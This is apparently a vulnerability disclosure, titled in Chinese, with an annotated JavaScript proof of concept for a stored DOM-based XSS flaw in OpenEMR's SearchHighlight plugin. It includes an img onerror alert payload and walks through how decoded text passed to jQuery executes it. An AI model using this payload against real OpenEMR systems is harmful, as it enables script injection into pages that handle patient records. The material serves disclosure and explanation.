OpenEMR SearchHighlight插件存在DOM型存储XSS漏洞

// Step 1: Attacker injects payload into an encounter form field // The server stores this, typically HTML encoding it (e.g., < becomes &lt;) var payload = "<img src=x onerror=alert('CVE-2026-32119')>"; // Step 2: Simulation of the vulnerable SearchHighlight.js logic // when a victim uses the search feature on the Custom Report page. // 1. The plugin reads the encoded text from the DOM // Browser decodes &lt; back to < when accessing .textContent var simulatedServerResponse = "&lt;img src=x onerror=alert('CVE-2026-32119')&gt;"; var tempDiv = document.createElement('div'); tempDiv.innerHTML = simulatedServerResponse; var decodedText = tempDiv.textContent; // decodedText is now the raw malicious HTML string // 2. The plugin concatenates the decoded text into an HTML string // and passes it to jQuery $() for parsing/highlighting var vulnerableHtmlString = "<span class='highlight'>" + decodedText + "</span>"; // 3. jQuery parses the string, executing the script $(vulnerableHtmlString).appendTo('body');